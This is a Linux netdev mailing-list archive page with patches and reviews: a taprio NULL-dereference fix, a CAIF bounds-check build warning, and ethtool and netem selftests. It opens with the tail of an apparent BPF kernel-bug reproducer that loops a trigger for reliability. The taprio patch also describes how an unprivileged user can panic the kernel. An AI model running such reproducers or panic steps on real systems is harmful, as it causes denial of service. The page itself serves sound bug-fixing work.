7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x200001000000ul, 0x1000ul,
0ul, 0x32ul, -1, 0ul);
int fd = bpf_load();
if (fd < 0) {
printf("[-] BPF_PROG_LOAD: %s\n", strerror(errno));
return 1;
}
printf("[+] prog fd=%d\n", fd);
printf("[*] Trigger: syz_data=284B flags=4 repeat=4\n");
long ret = bpf_run(fd, syz_data, 284, 4, 4);
printf("[*] ret=%ld\n", ret);
/* Loop untuk reliability */
for (int i = 0; i < 50; i++)
bpf_run(fd, syz_data, 284, 4, 4);
printf("[+] Done — cek: dmesg | grep warn_free\n");
close(fd);
return 0;
}
[-- Attachment #3: dmesg.png --]
[-- Type: image/png, Size: 397200 bytes --]
^ permalink raw reply
* Re: [PATCH net] net/sched: taprio: fix NULL pointer dereference in class dump
From: Jamal Hadi Salim @ 2026-03-30 16:04 UTC (permalink / raw)
To: Weiming Shi
Cc: Vinicius Costa Gomes, Jiri Pirko, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, netdev, Xiang Mei,
Vladimir Oltean
In-Reply-To: <20260330102904.2677818-5-bestswngs@gmail.com>
On Mon, Mar 30, 2026 at 6:43 AM Weiming Shi <bestswngs@gmail.com> wrote:
>
> When a TAPRIO child qdisc is deleted via RTM_DELQDISC, taprio_graft()
> is called with new == NULL and stores NULL into q->qdiscs[cl - 1].
> Subsequent RTM_GETTCLASS dump operations walk all classes via
> taprio_walk() and call taprio_dump_class(), which calls taprio_leaf()
> returning the NULL pointer, then dereferences it to read child->handle,
> causing a kernel NULL pointer dereference.
>
> The bug is reachable with namespace-scoped CAP_NET_ADMIN on any kernel
> with CONFIG_NET_SCH_TAPRIO enabled. On systems with unprivileged user
> namespaces enabled, an unprivileged local user can trigger a kernel
> panic by creating a taprio qdisc inside a new network namespace,
> grafting an explicit child qdisc, deleting it, and requesting a class
> dump. The RTM_GETTCLASS dump itself requires no capability.
>
> Oops: general protection fault, probably for non-canonical address 0xdffffc0000000007: 0000 [#1] SMP KASAN NOPTI
> KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f]
> RIP: 0010:taprio_dump_class (net/sched/sch_taprio.c:2475)
> Call Trace:
> <TASK>
> tc_fill_tclass (net/sched/sch_api.c:1966)
> qdisc_class_dump (net/sched/sch_api.c:2329)
> taprio_walk (net/sched/sch_taprio.c:2510)
> tc_dump_tclass_qdisc (net/sched/sch_api.c:2353)
> tc_dump_tclass_root (net/sched/sch_api.c:2370)
> tc_dump_tclass (net/sched/sch_api.c:2431)
> rtnl_dumpit (net/core/rtnetlink.c:6827)
> netlink_dump (net/netlink/af_netlink.c:2325)
> rtnetlink_rcv_msg (net/core/rtnetlink.c:6927)
> netlink_rcv_skb (net/netlink/af_netlink.c:2550)
> </TASK>
>
> Fix this by substituting &noop_qdisc when new is NULL in
> taprio_graft(), following the same pattern used by multiq_graft() and
> prio_graft(). This ensures q->qdiscs[] slots are never NULL, making
> all consumer paths (dump, enqueue, dequeue) safe. The noop_qdisc is a
> kernel-global builtin qdisc that drops all packets, which is
> functionally equivalent to a NULL child for data path purposes. The
> refcount increment and flag modification are guarded with
> != &noop_qdisc to avoid modifying the global singleton.
>
> Fixes: 665338b2a7a0 ("net/sched: taprio: dump class stats for the actual q->qdiscs[]")
> Cc: stable@vger.kernel.org
> Reported-by: Xiang Mei <xmei5@asu.edu>
> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
You forgot to Cc the author of the commit (Vladimir) now on Cc.
I have also removed @stable from the list; it is not your
responsibility to decide what goes to stable, lets leave that to the
netdev maintainers.
cheers,
jamal
> ---
> net/sched/sch_taprio.c | 7 +++++--
> 1 file changed, 5 insertions(+), 2 deletions(-)
>
> diff --git a/net/sched/sch_taprio.c b/net/sched/sch_taprio.c
> index f721c03514f60..cecaef16c0dd1 100644
> --- a/net/sched/sch_taprio.c
> +++ b/net/sched/sch_taprio.c
> @@ -2183,6 +2183,9 @@ static int taprio_graft(struct Qdisc *sch, unsigned long cl,
> if (!dev_queue)
> return -EINVAL;
>
> + if (!new)
> + new = &noop_qdisc;
> +
> if (dev->flags & IFF_UP)
> dev_deactivate(dev);
>
> @@ -2196,14 +2199,14 @@ static int taprio_graft(struct Qdisc *sch, unsigned long cl,
> *old = q->qdiscs[cl - 1];
> if (FULL_OFFLOAD_IS_ENABLED(q->flags)) {
> WARN_ON_ONCE(dev_graft_qdisc(dev_queue, new) != *old);
> - if (new)
> + if (new != &noop_qdisc)
> qdisc_refcount_inc(new);
> if (*old)
> qdisc_put(*old);
> }
>
> q->qdiscs[cl - 1] = new;
> - if (new)
> + if (new != &noop_qdisc)
> new->flags |= TCQ_F_ONETXQUEUE | TCQ_F_NOPARENT;
>
> if (dev->flags & IFF_UP)
> --
> 2.43.0
>
^ permalink raw reply
* Re: [PATCH v3 7/7] selftests/tc-testing: Add netem test case exercising loops
From: Jamal Hadi Salim @ 2026-03-30 16:01 UTC (permalink / raw)
To: Paolo Abeni
Cc: Stephen Hemminger, netdev, Victor Nogueira, Jiri Pirko,
Shuah Khan, William Liu, Jakub Kicinski, Savino Dicanosa,
open list:KERNEL SELFTEST FRAMEWORK, open list
In-Reply-To: <cf7128a8-80f2-4d4c-8c68-2c9f386cedb2@redhat.com>
On Mon, Mar 30, 2026 at 4:06 AM Paolo Abeni <pabeni@redhat.com> wrote:
>
> Hi,
>
> On 3/26/26 7:01 PM, Stephen Hemminger wrote:
> > From: Victor Nogueira <victor@mojatatu.com>
> >
> > Add a netem nested duplicate test case to validate that it won't
> > cause an infinite loop
> >
> > Acked-by: Jamal Hadi Salim <jhs@mojatatu.com>
> > Acked-by: Stephen Hemminger <stephen@networkplumber.org>
> > Signed-off-by: Victor Nogueira <victor@mojatatu.com>
>
> Apparently the new test does not pass on NIPA:
>
> # not ok 364 8c17 - Test netem's recursive duplicate
> # Value doesn't match: bytes: 294 != 196
> # Matching against output: {'kind': 'netem', 'handle': '1:', 'root':
> True, 'refcnt': 2, 'options': {'limit': 1, 'duplicate': {'duplicate': 1,
> 'correlation': 0}, 'seed': 6495514880116664183, 'ecn': False, 'gap': 0},
> 'bytes': 196, 'packets': 2, 'drops': 1, 'overlimits': 0, 'requeues': 0,
> 'backlog': 0, 'qlen': 0}
>
> It's not clear to me if the causes is this series or the follow-up. I'm
> tentatively dropping the latter from PW; let's see how/if TDC is impacted.
We should hold on to Stephen's two patches until the skb bits one goes
in and settles.
Stephen's patches change the queue expectation which explains the
accounting mismatch. Stephen run the tdc tests and fix any changes in
the accounting...
cheers,
jamal
^ permalink raw reply
* Re: [PATCH v3] net: caif: fix stack out-of-bounds write in cfctrl_link_setup()
From: kernel test robot @ 2026-03-30 15:32 UTC (permalink / raw)
To: Kangzheng Gu, davem, edumazet, kuba, pabeni, horms, kees,
thorsten.blum, arnd, sjur.brandeland
Cc: oe-kbuild-all, netdev, linux-kernel, stable
In-Reply-To: <20260329190350.19065-1-xiaoguai0992@gmail.com>
Hi Kangzheng,
kernel test robot noticed the following build warnings:
[auto build test WARNING on net-next/main]
[also build test WARNING on net/main soc/for-next linus/master v7.0-rc6 next-20260327]
[If your patch is applied to the wrong git tree, kindly drop us a note.
And when submitting patch, we suggest to use '--base' as documented in
https://git-scm.com/docs/git-format-patch#_base_tree_information]
url: https://github.com/intel-lab-lkp/linux/commits/Kangzheng-Gu/net-caif-fix-stack-out-of-bounds-write-in-cfctrl_link_setup/20260330-163130
base: net-next/main
patch link: https://lore.kernel.org/r/20260329190350.19065-1-xiaoguai0992%40gmail.com
patch subject: [PATCH v3] net: caif: fix stack out-of-bounds write in cfctrl_link_setup()
config: um-randconfig-r073-20260330 (https://download.01.org/0day-ci/archive/20260330/202603302327.ZnK21mik-lkp@intel.com/config)
compiler: clang version 17.0.6 (https://github.com/llvm/llvm-project 6009708b4367171ccdbf4b5905cb6a803753fe18)
smatch: v0.5.0-9004-gb810ac53
reproduce (this is a W=1 build): (https://download.01.org/0day-ci/archive/20260330/202603302327.ZnK21mik-lkp@intel.com/reproduce)
If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Closes: https://lore.kernel.org/oe-kbuild-all/202603302327.ZnK21mik-lkp@intel.com/
All warnings (new ones prefixed by >>):
>> net/caif/cfctrl.c:423:6: warning: format specifies type 'unsigned long' but the argument has type 'unsigned int' [-Wformat]
422 | pr_warn("Request reject, volume name length exceeds %lu\n",
| ~~~
| %u
423 | sizeof(linkparam.u.rfm.volume));
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
include/linux/printk.h:564:37: note: expanded from macro 'pr_warn'
564 | printk(KERN_WARNING pr_fmt(fmt), ##__VA_ARGS__)
| ~~~ ^~~~~~~~~~~
include/linux/printk.h:511:60: note: expanded from macro 'printk'
511 | #define printk(fmt, ...) printk_index_wrap(_printk, fmt, ##__VA_ARGS__)
| ~~~ ^~~~~~~~~~~
include/linux/printk.h:483:19: note: expanded from macro 'printk_index_wrap'
483 | _p_func(_fmt, ##__VA_ARGS__); \
| ~~~~ ^~~~~~~~~~~
1 warning generated.
vim +423 net/caif/cfctrl.c
351
352 static int cfctrl_link_setup(struct cfctrl *cfctrl, struct cfpkt *pkt, u8 cmdrsp)
353 {
354 u8 len;
355 u8 linkid = 0;
356 enum cfctrl_srv serv;
357 enum cfctrl_srv servtype;
358 u8 endpoint;
359 u8 physlinkid;
360 u8 prio;
361 u8 tmp;
362 u8 *cp;
363 int i;
364 struct cfctrl_link_param linkparam;
365 struct cfctrl_request_info rsp, *req;
366
367 memset(&linkparam, 0, sizeof(linkparam));
368
369 tmp = cfpkt_extr_head_u8(pkt);
370
371 serv = tmp & CFCTRL_SRV_MASK;
372 linkparam.linktype = serv;
373
374 servtype = tmp >> 4;
375 linkparam.chtype = servtype;
376
377 tmp = cfpkt_extr_head_u8(pkt);
378 physlinkid = tmp & 0x07;
379 prio = tmp >> 3;
380
381 linkparam.priority = prio;
382 linkparam.phyid = physlinkid;
383 endpoint = cfpkt_extr_head_u8(pkt);
384 linkparam.endpoint = endpoint & 0x03;
385
386 switch (serv) {
387 case CFCTRL_SRV_VEI:
388 case CFCTRL_SRV_DBG:
389 if (CFCTRL_ERR_BIT & cmdrsp)
390 break;
391 /* Link ID */
392 linkid = cfpkt_extr_head_u8(pkt);
393 break;
394 case CFCTRL_SRV_VIDEO:
395 tmp = cfpkt_extr_head_u8(pkt);
396 linkparam.u.video.connid = tmp;
397 if (CFCTRL_ERR_BIT & cmdrsp)
398 break;
399 /* Link ID */
400 linkid = cfpkt_extr_head_u8(pkt);
401 break;
402
403 case CFCTRL_SRV_DATAGRAM:
404 linkparam.u.datagram.connid = cfpkt_extr_head_u32(pkt);
405 if (CFCTRL_ERR_BIT & cmdrsp)
406 break;
407 /* Link ID */
408 linkid = cfpkt_extr_head_u8(pkt);
409 break;
410 case CFCTRL_SRV_RFM:
411 /* Construct a frame, convert
412 * DatagramConnectionID
413 * to network format long and copy it out...
414 */
415 linkparam.u.rfm.connid = cfpkt_extr_head_u32(pkt);
416 cp = (u8 *) linkparam.u.rfm.volume;
417 for (tmp = cfpkt_extr_head_u8(pkt);
418 cfpkt_more(pkt) && tmp != '\0';
419 tmp = cfpkt_extr_head_u8(pkt)) {
420 if (cp >= (u8 *)linkparam.u.rfm.volume +
421 sizeof(linkparam.u.rfm.volume) - 1) {
422 pr_warn("Request reject, volume name length exceeds %lu\n",
> 423 sizeof(linkparam.u.rfm.volume));
424 cmdrsp |= CFCTRL_ERR_BIT;
425 break;
426 }
427 *cp++ = tmp;
428 }
429 *cp = '\0';
430
431 if (CFCTRL_ERR_BIT & cmdrsp)
432 break;
433 /* Link ID */
434 linkid = cfpkt_extr_head_u8(pkt);
435
436 break;
437 case CFCTRL_SRV_UTIL:
438 /* Construct a frame, convert
439 * DatagramConnectionID
440 * to network format long and copy it out...
441 */
442 /* Fifosize KB */
443 linkparam.u.utility.fifosize_kb = cfpkt_extr_head_u16(pkt);
444 /* Fifosize bufs */
445 linkparam.u.utility.fifosize_bufs = cfpkt_extr_head_u16(pkt);
446 /* name */
447 cp = (u8 *) linkparam.u.utility.name;
448 caif_assert(sizeof(linkparam.u.utility.name)
449 >= UTILITY_NAME_LENGTH);
450 for (i = 0; i < UTILITY_NAME_LENGTH && cfpkt_more(pkt); i++) {
451 tmp = cfpkt_extr_head_u8(pkt);
452 *cp++ = tmp;
453 }
454 /* Length */
455 len = cfpkt_extr_head_u8(pkt);
456 linkparam.u.utility.paramlen = len;
457 /* Param Data */
458 cp = linkparam.u.utility.params;
459 while (cfpkt_more(pkt) && len--) {
460 tmp = cfpkt_extr_head_u8(pkt);
461 *cp++ = tmp;
462 }
463 if (CFCTRL_ERR_BIT & cmdrsp)
464 break;
465 /* Link ID */
466 linkid = cfpkt_extr_head_u8(pkt);
467 /* Length */
468 len = cfpkt_extr_head_u8(pkt);
469 /* Param Data */
470 cfpkt_extr_head(pkt, NULL, len);
471 break;
472 default:
473 pr_warn("Request setup, invalid type (%d)\n", serv);
474 return -1;
475 }
476
477 rsp.cmd = CFCTRL_CMD_LINK_SETUP;
478 rsp.param = linkparam;
479 spin_lock_bh(&cfctrl->info_list_lock);
480 req = cfctrl_remove_req(cfctrl, &rsp);
481
482 if (CFCTRL_ERR_BIT == (CFCTRL_ERR_BIT & cmdrsp) ||
483 cfpkt_erroneous(pkt)) {
484 pr_err("Invalid O/E bit or parse error "
485 "on CAIF control channel\n");
486 cfctrl->res.reject_rsp(cfctrl->serv.layer.up, 0,
487 req ? req->client_layer : NULL);
488 } else {
489 cfctrl->res.linksetup_rsp(cfctrl->serv.layer.up, linkid,
490 serv, physlinkid,
491 req ? req->client_layer : NULL);
492 }
493
494 kfree(req);
495
496 spin_unlock_bh(&cfctrl->info_list_lock);
497
498 return 0;
499 }
500
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply
* [PATCH net-next v5 9/9] selftests: drivers: hw: add test for the ethtool standard counters
From: Ioana Ciornei @ 2026-03-30 15:29 UTC (permalink / raw)
To: netdev
Cc: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, linux-kernel, petrm, willemb,
linux-kselftest
In-Reply-To: <20260330152933.2195885-1-ioana.ciornei@nxp.com>
Add a new selftest - ethtool_std_stats.sh - which validates the
eth-ctrl, eth-mac and pause standard statistics exported by an
interface. Collision related eth-mac counters as well as the error ones
will be checked against zero since that is the most likely correct
scenario.
The central part of this patch is the traffic_test() function which
gathers the 'before' counter values, sends a batch of traffic and then
interrogates again the same counters in order to determine if the delta
is on target. The function receives an array through which the caller
can request what counters to be interrogated and, for each of them, what
is their target delta value.
The output from this selftest looks as follows on a LX2160ARDB board:
$ ./run_kselftest.sh -t drivers/net/hw:ethtool_std_stats.sh
TAP version 13
1..1
# timeout set to 0
# selftests: drivers/net/hw: ethtool_std_stats.sh
# TAP version 13
# 1..26
# ok 1 ethtool_std_stats.eth-ctrl-MACControlFramesTransmitted
# ok 2 ethtool_std_stats.eth-ctrl-MACControlFramesReceived
# ok 3 ethtool_std_stats.eth-mac-FrameCheckSequenceErrors
# ok 4 ethtool_std_stats.eth-mac-AlignmentErrors
# ok 5 ethtool_std_stats.eth-mac-FramesLostDueToIntMACXmitError
# ok 6 ethtool_std_stats.eth-mac-CarrierSenseErrors # SKIP
# ok 7 ethtool_std_stats.eth-mac-FramesLostDueToIntMACRcvError
# ok 8 ethtool_std_stats.eth-mac-InRangeLengthErrors # SKIP
# ok 9 ethtool_std_stats.eth-mac-OutOfRangeLengthField # SKIP
# ok 10 ethtool_std_stats.eth-mac-FrameTooLongErrors # SKIP
# ok 11 ethtool_std_stats.eth-mac-FramesAbortedDueToXSColls # SKIP
# ok 12 ethtool_std_stats.eth-mac-SingleCollisionFrames # SKIP
# ok 13 ethtool_std_stats.eth-mac-MultipleCollisionFrames # SKIP
# ok 14 ethtool_std_stats.eth-mac-FramesWithDeferredXmissions # SKIP
# ok 15 ethtool_std_stats.eth-mac-LateCollisions # SKIP
# ok 16 ethtool_std_stats.eth-mac-FramesWithExcessiveDeferral # SKIP
# ok 17 ethtool_std_stats.eth-mac-BroadcastFramesXmittedOK
# ok 18 ethtool_std_stats.eth-mac-OctetsTransmittedOK
# ok 19 ethtool_std_stats.eth-mac-BroadcastFramesReceivedOK
# ok 20 ethtool_std_stats.eth-mac-OctetsReceivedOK
# ok 21 ethtool_std_stats.eth-mac-FramesTransmittedOK
# ok 22 ethtool_std_stats.eth-mac-MulticastFramesXmittedOK
# ok 23 ethtool_std_stats.eth-mac-FramesReceivedOK
# ok 24 ethtool_std_stats.eth-mac-MulticastFramesReceivedOK
# ok 25 ethtool_std_stats.pause-tx_pause_frames
# ok 26 ethtool_std_stats.pause-rx_pause_frames
# # 10 skipped test(s) detected. Consider enabling relevant config options to improve coverage.
# # Totals: pass:16 fail:0 xfail:0 xpass:0 skip:10 error:0
ok 1 selftests: drivers/net/hw: ethtool_std_stats.sh
Please note that not all MACs are counting the software injected pause
frames as real Tx pause. For example, on a LS1028ARDB the selftest
output will reflect the fact that neither the ENETC MAC, nor the Felix
switch MAC are able to detect Tx pause frames injected by software.
$ ./run_kselftest.sh -t drivers/net/hw:ethtool_std_stats.sh
(...)
# # software sent pause frames not detected
# ok 25 ethtool_std_stats.pause-tx_pause_frames # XFAIL
# ok 26 ethtool_std_stats.pause-rx_pause_frames
Signed-off-by: Ioana Ciornei <ioana.ciornei@nxp.com>
Acked-by: Petr Machata <petrm@nvidia.com>
---
Changes in v5:
- none
Changes in v4:
- move to a the KTAP format output by using ktap_helpers.sh
- update commit message to reflect the current output
- use DRIVER_TEST_CONFORMANT
Changes in v3:
- none
Changes in v2:
- Use the new run_on helper
- No longer checking that each counter has a 1% tolerance against the
target. The only upper limit is UINT32_MAX.
- Check that both the error counters and the collision related ones are
zero since this is the most probable scenario (we don't expect errors
with the traffic that we are sending).
- Removed any checks performed on the remot interface counters since
that is being used only as a traffic generator.
.../testing/selftests/drivers/net/hw/Makefile | 1 +
.../drivers/net/hw/ethtool_std_stats.sh | 206 ++++++++++++++++++
2 files changed, 207 insertions(+)
create mode 100755 tools/testing/selftests/drivers/net/hw/ethtool_std_stats.sh
diff --git a/tools/testing/selftests/drivers/net/hw/Makefile b/tools/testing/selftests/drivers/net/hw/Makefile
index 884cc77daeaa..deeca3f8d080 100644
--- a/tools/testing/selftests/drivers/net/hw/Makefile
+++ b/tools/testing/selftests/drivers/net/hw/Makefile
@@ -26,6 +26,7 @@ TEST_PROGS = \
ethtool_extended_state.sh \
ethtool_mm.sh \
ethtool_rmon.sh \
+ ethtool_std_stats.sh \
gro_hw.py \
hw_stats_l3.sh \
hw_stats_l3_gre.sh \
diff --git a/tools/testing/selftests/drivers/net/hw/ethtool_std_stats.sh b/tools/testing/selftests/drivers/net/hw/ethtool_std_stats.sh
new file mode 100755
index 000000000000..c085d2a4c989
--- /dev/null
+++ b/tools/testing/selftests/drivers/net/hw/ethtool_std_stats.sh
@@ -0,0 +1,206 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0
+#shellcheck disable=SC2034 # SC does not see the global variables
+#shellcheck disable=SC2317,SC2329 # unused functions
+
+ALL_TESTS="
+ test_eth_ctrl_stats
+ test_eth_mac_stats
+ test_pause_stats
+"
+: "${DRIVER_TEST_CONFORMANT:=yes}"
+STABLE_MAC_ADDRS=yes
+NUM_NETIFS=2
+lib_dir=$(dirname "$0")
+# shellcheck source=./../../../net/forwarding/lib.sh
+source "$lib_dir"/../../../net/forwarding/lib.sh
+# shellcheck source=./../../../kselftest/ktap_helpers.sh
+source "$lib_dir"/../../../kselftest/ktap_helpers.sh
+
+UINT32_MAX=$((2**32 - 1))
+SUBTESTS=0
+TEST_NAME=$(basename "$0" .sh)
+
+traffic_test()
+{
+ local iface=$1; shift
+ local neigh=$1; shift
+ local num_tx=$1; shift
+ local pkt_format="$1"; shift
+ local -a counters=("$@")
+ local int grp cnt target exact_check
+ local before after delta
+ local num_rx=$((num_tx * 2))
+ local xfail_message
+ local src="aggregate"
+ local i
+
+ for i in "${!counters[@]}"; do
+ read -r int grp cnt target exact_check xfail_message \
+ <<< "${counters[$i]}"
+
+ before[i]=$(ethtool_std_stats_get "$int" "$grp" "$cnt" "$src")
+ done
+
+ # shellcheck disable=SC2086 # needs split options
+ run_on "$iface" "$MZ" "$iface" -q -c "$num_tx" $pkt_format
+
+ # shellcheck disable=SC2086 # needs split options
+ run_on "$neigh" "$MZ" "$neigh" -q -c "$num_rx" $pkt_format
+
+ for i in "${!counters[@]}"; do
+ read -r int grp cnt target exact_check xfail_message \
+ <<< "${counters[$i]}"
+
+ after[i]=$(ethtool_std_stats_get "$int" "$grp" "$cnt" "$src")
+ if [[ "${after[$i]}" == "null" ]]; then
+ ktap_test_skip "$TEST_NAME.$grp-$cnt"
+ continue;
+ fi
+
+ delta=$((after[i] - before[i]))
+
+ if [ "$exact_check" -ne 0 ]; then
+ [ "$delta" -eq "$target" ]
+ else
+ [ "$delta" -ge "$target" ] && \
+ [ "$delta" -le "$UINT32_MAX" ]
+ fi
+ err="$?"
+
+ if [[ $err != 0 ]] && [[ -n $xfail_message ]]; then
+ ktap_print_msg "$xfail_message"
+ ktap_test_xfail "$TEST_NAME.$grp-$cnt"
+ continue;
+ fi
+
+ if [[ $err != 0 ]]; then
+ ktap_print_msg "$grp-$cnt is not valid on $int (expected $target, got $delta)"
+ ktap_test_fail "$TEST_NAME.$grp-$cnt"
+ else
+ ktap_test_pass "$TEST_NAME.$grp-$cnt"
+ fi
+ done
+}
+
+test_eth_ctrl_stats()
+{
+ local pkt_format="-a own -b bcast 88:08 -p 64"
+ local num_pkts=1000
+ local -a counters
+
+ counters=("$h1 eth-ctrl MACControlFramesTransmitted $num_pkts 0")
+ traffic_test "$h1" "$h2" "$num_pkts" "$pkt_format" \
+ "${counters[@]}"
+
+ counters=("$h1 eth-ctrl MACControlFramesReceived $num_pkts 0")
+ traffic_test "$h2" "$h1" "$num_pkts" "$pkt_format" \
+ "${counters[@]}"
+}
+SUBTESTS=$((SUBTESTS + 2))
+
+test_eth_mac_stats()
+{
+ local pkt_size=100
+ local pkt_size_fcs=$((pkt_size + 4))
+ local bcast_pkt_format="-a own -b bcast -p $pkt_size"
+ local mcast_pkt_format="-a own -b 01:00:5E:00:00:01 -p $pkt_size"
+ local num_pkts=2000
+ local octets=$((pkt_size_fcs * num_pkts))
+ local -a counters error_cnt collision_cnt
+
+ # Error counters should be exactly zero
+ counters=("$h1 eth-mac FrameCheckSequenceErrors 0 1"
+ "$h1 eth-mac AlignmentErrors 0 1"
+ "$h1 eth-mac FramesLostDueToIntMACXmitError 0 1"
+ "$h1 eth-mac CarrierSenseErrors 0 1"
+ "$h1 eth-mac FramesLostDueToIntMACRcvError 0 1"
+ "$h1 eth-mac InRangeLengthErrors 0 1"
+ "$h1 eth-mac OutOfRangeLengthField 0 1"
+ "$h1 eth-mac FrameTooLongErrors 0 1"
+ "$h1 eth-mac FramesAbortedDueToXSColls 0 1")
+ traffic_test "$h1" "$h2" "$num_pkts" "$bcast_pkt_format" \
+ "${counters[@]}"
+
+ # Collision related counters should also be zero
+ counters=("$h1 eth-mac SingleCollisionFrames 0 1"
+ "$h1 eth-mac MultipleCollisionFrames 0 1"
+ "$h1 eth-mac FramesWithDeferredXmissions 0 1"
+ "$h1 eth-mac LateCollisions 0 1"
+ "$h1 eth-mac FramesWithExcessiveDeferral 0 1")
+ traffic_test "$h1" "$h2" "$num_pkts" "$bcast_pkt_format" \
+ "${counters[@]}"
+
+ counters=("$h1 eth-mac BroadcastFramesXmittedOK $num_pkts 0"
+ "$h1 eth-mac OctetsTransmittedOK $octets 0")
+ traffic_test "$h1" "$h2" "$num_pkts" "$bcast_pkt_format" \
+ "${counters[@]}"
+
+ counters=("$h1 eth-mac BroadcastFramesReceivedOK $num_pkts 0"
+ "$h1 eth-mac OctetsReceivedOK $octets 0")
+ traffic_test "$h2" "$h1" "$num_pkts" "$bcast_pkt_format" \
+ "${counters[@]}"
+
+ counters=("$h1 eth-mac FramesTransmittedOK $num_pkts 0"
+ "$h1 eth-mac MulticastFramesXmittedOK $num_pkts 0")
+ traffic_test "$h1" "$h2" "$num_pkts" "$mcast_pkt_format" \
+ "${counters[@]}"
+
+ counters=("$h1 eth-mac FramesReceivedOK $num_pkts 0"
+ "$h1 eth-mac MulticastFramesReceivedOK $num_pkts 0")
+ traffic_test "$h2" "$h1" "$num_pkts" "$mcast_pkt_format" \
+ "${counters[@]}"
+}
+SUBTESTS=$((SUBTESTS + 22))
+
+test_pause_stats()
+{
+ local pkt_format="-a own -b 01:80:c2:00:00:01 88:08:00:01:00:01"
+ local xfail_message="software sent pause frames not detected"
+ local num_pkts=2000
+ local -a counters
+ local int
+ local i
+
+ # Check that there is pause frame support
+ for ((i = 1; i <= NUM_NETIFS; ++i)); do
+ int="${NETIFS[p$i]}"
+ if ! run_on "$int" ethtool -I --json -a "$int" > /dev/null 2>&1; then
+ ktap_test_skip "$TEST_NAME.tx_pause_frames"
+ ktap_test_skip "$TEST_NAME.rx_pause_frames"
+ return
+ fi
+ done
+
+ counters=("$h1 pause tx_pause_frames $num_pkts 0 $xfail_message")
+ traffic_test "$h1" "$h2" "$num_pkts" "$pkt_format" \
+ "${counters[@]}"
+
+ counters=("$h1 pause rx_pause_frames $num_pkts 0")
+ traffic_test "$h2" "$h1" "$num_pkts" "$pkt_format" \
+ "${counters[@]}"
+}
+SUBTESTS=$((SUBTESTS + 2))
+
+setup_prepare()
+{
+ local iface
+
+ h1=${NETIFS[p1]}
+ h2=${NETIFS[p2]}
+
+ h2_mac=$(mac_get "$h2")
+}
+
+ktap_print_header
+ktap_set_plan $SUBTESTS
+
+check_ethtool_counter_group_support
+trap cleanup EXIT
+
+setup_prepare
+setup_wait
+
+tests_run
+
+ktap_finished
--
2.25.1
^ permalink raw reply related
* [PATCH net-next v5 8/9] selftests: drivers: hw: update ethtool_rmon to work with a single local interface
From: Ioana Ciornei @ 2026-03-30 15:29 UTC (permalink / raw)
To: netdev
Cc: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, linux-kernel, petrm, willemb,
linux-kselftest
In-Reply-To: <20260330152933.2195885-1-ioana.ciornei@nxp.com>
This patch finalizes the transition to work with a single local
interface for the ethtool_rmon.sh test. Each 'ip link' and 'ethtool'
command used by the test is annotated with the necessary run_on in
order to be executed on the necessary target system, be it local, in
another network namespace or through ssh.
Since we need NETIF up and running also for control traffic, we now
expect that the interfaces are up and running and do not touch bring
them up or down at the end of the test. This is also documented in the
drivers/net/README.rst.
The ethtool_rmon.sh script can still be used in the older fashion by
passing two interfaces as command line arguments, the only restriction
is that those interfaces need to be already up.
$ DRIVER_TEST_CONFORMANT=no ./ethtool_rmon.sh eth0 eth1
As part of the kselftest infrastructure, this test can be run in the
following manner:
$ make -C tools/testing/selftests/ TARGETS="drivers/net drivers/net/hw" \
install INSTALL_PATH=/tmp/ksft-net-drv
$ cd /tmp/ksft-net-drv/
$ cat > ./drivers/net/net.config <<EOF
NETIF=endpmac17
LOCAL_V4=17.0.0.1
REMOTE_V4=17.0.0.2
REMOTE_TYPE=ssh
REMOTE_ARGS=root@192.168.5.200
EOF
$ ./run_kselftest.sh -t drivers/net/hw:ethtool_rmon.sh
TAP version 13
1..1
# timeout set to 0
# selftests: drivers/net/hw: ethtool_rmon.sh
# TAP version 13
# 1..14
# ok 1 ethtool_rmon.rx-pkts64to64
# ok 2 ethtool_rmon.rx-pkts65to127
# ok 3 ethtool_rmon.rx-pkts128to255
# ok 4 ethtool_rmon.rx-pkts256to511
# ok 5 ethtool_rmon.rx-pkts512to1023
# ok 6 ethtool_rmon.rx-pkts1024to1518
# ok 7 ethtool_rmon.rx-pkts1519to10240
# ok 8 ethtool_rmon.tx-pkts64to64
# ok 9 ethtool_rmon.tx-pkts65to127
# ok 10 ethtool_rmon.tx-pkts128to255
# ok 11 ethtool_rmon.tx-pkts256to511
# ok 12 ethtool_rmon.tx-pkts512to1023
# ok 13 ethtool_rmon.tx-pkts1024to1518
# ok 14 ethtool_rmon.tx-pkts1519to10240
# # Totals: pass:14 fail:0 xfail:0 xpass:0 skip:0 error:0
ok 1 selftests: drivers/net/hw: ethtool_rmon.sh
Signed-off-by: Ioana Ciornei <ioana.ciornei@nxp.com>
Reviewed-by: Petr Machata <petrm@nvidia.com>
---
Changes in v5:
- none
Changes in v4:
- set DRIVER_TEST_CONFORMANT to yes
- update the commit message to reflect the current output
- split some more lines to 80 chars
Changes in v3:
- none
Changes in v2:
- patch is new
.../selftests/drivers/net/hw/ethtool_rmon.sh | 30 +++++++++++--------
1 file changed, 17 insertions(+), 13 deletions(-)
diff --git a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
index ed81bdc33536..2ec19edddfaa 100755
--- a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
+++ b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
@@ -8,6 +8,7 @@ ALL_TESTS="
rmon_tx_histogram
"
+: "${DRIVER_TEST_CONFORMANT:=yes}"
NUM_NETIFS=2
lib_dir=$(dirname "$0")
source "$lib_dir"/../../../net/forwarding/lib.sh
@@ -27,9 +28,11 @@ ensure_mtu()
local required=$((len - ETH_HLEN - ETH_FCS_LEN))
local current
- current=$(ip -j link show dev "$iface" | jq -r '.[0].mtu')
+ current=$(run_on "$iface" \
+ ip -j link show dev "$iface" | jq -r '.[0].mtu')
